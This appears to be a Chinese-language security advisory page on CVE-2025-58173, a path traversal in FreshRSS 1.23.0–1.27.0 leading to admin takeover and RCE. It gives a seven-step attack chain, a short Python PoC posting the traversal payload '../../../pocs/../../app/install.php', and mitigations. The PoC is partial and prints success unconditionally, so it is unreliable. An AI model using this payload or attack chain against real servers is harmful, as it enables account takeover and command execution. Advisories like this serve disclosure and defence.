IPBUF安全漏洞报告
English
CVE-2025-58173 CVSS 8.8 高危

FreshRSS路径遍历漏洞导致管理员账户接管和RCE (CVE-2025-58173)

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-58173
漏洞类型
路径遍历/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreshRSS

相关标签

路径遍历远程代码执行FreshRSS权限绕过CVE-2025-58173install.phpMySQL UDFCVSS 8.8高危漏洞RSS聚合器

漏洞概述

FreshRSS是一款自托管的RSS订阅聚合器。在1.23.0至1.27.0版本中,存在一个严重的路径遍历漏洞,攻击者可以通过在`language`用户配置参数中注入路径遍历序列,绕过安全限制调用`install.php`文件。这使得未授权的普通用户能够执行多种高危管理操作,包括:以管理员身份登录系统、创建新的管理员账户、或将数据库连接指向攻击者控制的MySQL服务器。攻击者进一步利用恶意`curl_params`在feed表中实现远程代码执行。CVSS评分8.8,属于高危漏洞。该漏洞由GitHub安全团队发现并报告,1.27.1版本已修复此问题。

技术细节

漏洞根源在于FreshRSS对用户配置的`language`参数缺乏有效的路径安全校验。攻击者利用`../`路径遍历序列,可以跳出正常目录访问`install.php`文件。`install.php`原本仅在首次安装时运行,但通过路径遍历可直接调用。攻击流程:首先注册低权限账户,然后修改language参数为类似`../../../pocs/../../app/install.php`的路径。成功调用install.php后,攻击者可在安装界面执行数据库重配置,将数据库指向攻击者控制的MySQL服务器。由于MySQL允许用户自定义函数,攻击者可在feed表的curl_params字段注入恶意配置,结合MySQL UDF实现系统命令执行。此外,也可通过创建新管理员账户直接接管后台,进而在RSS feed更新时触发恶意代码执行。

攻击链分析

STEP 1
步骤1
攻击者注册FreshRSS低权限账户,获取基本访问权限
STEP 2
步骤2
登录后访问用户配置文件页面,准备修改language参数
STEP 3
步骤3
将language参数设置为路径遍历载荷,如../../../pocs/../../app/install.php
STEP 4
步骤4
提交修改后,install.php被加载执行,绕过首次安装检查
STEP 5
步骤5
在install.php界面执行管理操作:创建新管理员账户或重定向数据库到攻击者MySQL服务器
STEP 6
步骤6
通过攻击者控制的MySQL,使用UDF功能在服务器上执行系统命令,实现RCE
STEP 7
步骤7
或通过新创建的管理员账户登录后台,添加恶意RSS feed触发代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-58173 FreshRSS Path Traversal to RCE PoC # Target: FreshRSS <= 1.27.0 TARGET = "http://target-freshrss.com" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Step 1: Register new user register_url = f"{TARGET}/?c=user&amp;action=register" # Step 2: Login with created account login_url = f"{TARGET}/?c=user&amp;action=login" # Step 3: Path traversal via language parameter # Set language to path traversal to access install.php profile_url = f"{TARGET}/?c=user&amp;action=profile" malicious_language = "../../../pocs/../../app/install.php" def exploit(): # Login first session.post(login_url, data={'username': USERNAME, 'password': PASSWORD}) # Step 4: Exploit path traversal # Modify language parameter to trigger install.php response = session.post(profile_url, data={ 'language': malicious_language, 'validate': '1' }) # Step 5: After install.php is called, we can: # - Login as admin # - Create new admin user # - Redirect DB to attacker MySQL # Step 6: If DB redirected, inject malicious curl_params in feed table # Using MySQL UDF for code execution print("Path traversal successful - install.php accessed") return True if __name__ == "__main__": exploit()

影响范围

FreshRSS >= 1.23.0
FreshRSS <= 1.27.0

防御指南

临时缓解措施
立即将FreshRSS升级至1.27.1版本。临时措施包括:1) 限制用户配置文件修改权限;2) 禁用外网访问管理接口;3) 监控异常的install.php访问日志;4) 限制MySQL用户权限,禁止LOAD_FILE和INTO OUTFILE等危险操作;5) 部署WAF规则拦截路径遍历特征字符。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表